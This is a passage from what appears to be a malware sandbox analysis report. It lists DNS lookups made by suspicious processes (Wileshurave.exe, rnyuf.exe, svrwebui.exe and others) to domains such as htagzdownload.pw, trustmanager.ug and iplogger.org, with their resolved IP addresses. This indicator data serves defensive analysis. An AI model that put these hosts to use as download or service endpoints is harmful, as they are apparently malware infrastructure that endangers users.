                                                                                                                                                                                                                                          66.29.130.154

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          145 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          api.ip.sb

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.26.12.31
                                                                                                                                                                                                                                          104.26.13.31
                                                                                                                                                                                                                                          172.67.75.172

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          66 B
                                                                                                                                                                                                                                          98 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          one-wedding-film.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.1.69
                                                                                                                                                                                                                                          172.67.128.192

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          65 B
                                                                                                                                                                                                                                          81 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          google.vrthcobj.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          34.97.69.225

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          65 B
                                                                                                                                                                                                                                          133 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          google.vrthcobj.com

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          52 B
                                                                                                                                                                                                                                          68 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          2no.co

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          88.99.66.31

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          59 B
                                                                                                                                                                                                                                          91 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.79.144
                                                                                                                                                                                                                                          172.67.146.70

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          requestimmersive.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          66 B
                                                                                                                                                                                                                                          82 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          requestimmersive.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          162.0.220.187

                                                                                                                                                                                                                                        • 34.97.69.225:53
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          68.6kB
                                                                                                                                                                                                                                          729.4kB
                                                                                                                                                                                                                                          1308
                                                                                                                                                                                                                                          1319
                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ipinfo.io

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          34.117.59.81

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          deyrolorme.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          1340993.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          deyrolorme.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          212.224.105.106

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          295 B
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          proxycheck.io

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          proxycheck.io

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          proxycheck.io

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          proxycheck.io

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          proxycheck.io

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          google.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          56 B
                                                                                                                                                                                                                                          72 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          google.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          216.58.214.14

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          eduarroma.tumblr.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          posuivhNlqACsYj33uam4392.exe
                                                                                                                                                                                                                                          66 B
                                                                                                                                                                                                                                          98 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          eduarroma.tumblr.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          74.114.154.22
                                                                                                                                                                                                                                          74.114.154.18

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          64 B
                                                                                                                                                                                                                                          96 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          money4systems4.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.1.123
                                                                                                                                                                                                                                          172.67.129.55

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          connectini.net
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          connectini.net

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          162.0.210.44

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          iplis.ru
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          54 B
                                                                                                                                                                                                                                          70 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          iplis.ru

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          88.99.66.31

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          110 B
                                                                                                                                                                                                                                          147 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          52.219.64.7

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          aucmoney.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          232 B
                                                                                                                                                                                                                                          232 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          4

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          aucmoney.com

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          aucmoney.com

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          aucmoney.com

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          aucmoney.com

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          source3.boys4dayz.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          67 B
                                                                                                                                                                                                                                          99 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          source3.boys4dayz.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.148.61
                                                                                                                                                                                                                                          104.21.33.188

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          cache.uutww77.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          95 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          cache.uutww77.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.171.54
                                                                                                                                                                                                                                          104.21.29.4

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          thegymmum.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          118 B
                                                                                                                                                                                                                                          118 B
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          2

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thegymmum.com

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thegymmum.com

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          56 B
                                                                                                                                                                                                                                          72 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ip-api.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          208.95.112.1

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          65 B
                                                                                                                                                                                                                                          225 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          atvcampingtrips.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          116.121.62.237
                                                                                                                                                                                                                                          110.14.121.123
                                                                                                                                                                                                                                          180.69.193.102
                                                                                                                                                                                                                                          176.123.228.234
                                                                                                                                                                                                                                          211.170.70.237
                                                                                                                                                                                                                                          124.109.61.160
                                                                                                                                                                                                                                          58.124.228.242
                                                                                                                                                                                                                                          62.201.235.58
                                                                                                                                                                                                                                          181.129.180.251
                                                                                                                                                                                                                                          183.78.205.92

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          119 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          script.googleusercontent.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          142.250.179.193

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          79 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          script.google.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.217.17.78

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          93 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatagame.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.145.110
                                                                                                                                                                                                                                          104.21.49.131

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          94 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          bb.goatggame.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.161.96
                                                                                                                                                                                                                                          104.21.9.227

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          a.upstloans.net
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          93 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.upstloans.net

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.31.210
                                                                                                                                                                                                                                          172.67.179.248

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          58 B
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          iplogger.org

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          88.99.66.31

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          65 B
                                                                                                                                                                                                                                          97 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          garbage-cleaner.biz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          213.252.246.131
                                                                                                                                                                                                                                          81.177.181.145

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          87 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          fsstoragecloudservice.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          111.90.156.58

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Cleaner_Installation.exe
                                                                                                                                                                                                                                          66 B
                                                                                                                                                                                                                                          130 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          paybiz.herokuapp.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          54.243.129.215
                                                                                                                                                                                                                                          34.201.81.34
                                                                                                                                                                                                                                          54.208.186.182
                                                                                                                                                                                                                                          54.224.34.30

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          b.upstloans.net
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          93 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          b.upstloans.net

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.179.248
                                                                                                                                                                                                                                          104.21.31.210

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ihyPFzPAtuaJDA.ihyPFzPAtuaJDA
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Esplorarne.exe.com
                                                                                                                                                                                                                                          75 B
                                                                                                                                                                                                                                          150 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ihyPFzPAtuaJDA.ihyPFzPAtuaJDA

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.mediafire.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          95 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.mediafire.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.16.203.237
                                                                                                                                                                                                                                          104.16.202.237

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          download2388.mediafire.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          72 B
                                                                                                                                                                                                                                          88 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          download2388.mediafire.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          199.91.155.129

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          78 B
                                                                                                                                                                                                                                          126 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.profitabletrustednetwork.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          192.243.59.12
                                                                                                                                                                                                                                          192.243.59.20
                                                                                                                                                                                                                                          192.243.59.13

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          investorblak.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          78 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          investorblak.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          162.213.253.67

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          201 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          dmd.metaservices.microsoft.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          20.54.64.202

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          trustmanager.ug

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          trustmanager.ug

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          t.ikedaikami.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          78 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          t.ikedaikami.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          45.130.228.44

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.microsoft.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          230 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.microsoft.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          2.21.41.70

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          vpn.maskvpn.org
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          77 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          vpn.maskvpn.org

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          98.126.176.53

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          127 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          htagzdownload.pw

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          twelveoclock.top
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          78 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          twelveoclock.top

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          185.4.65.191

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          geo.netsupportsoftware.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          72 B
                                                                                                                                                                                                                                          128 B
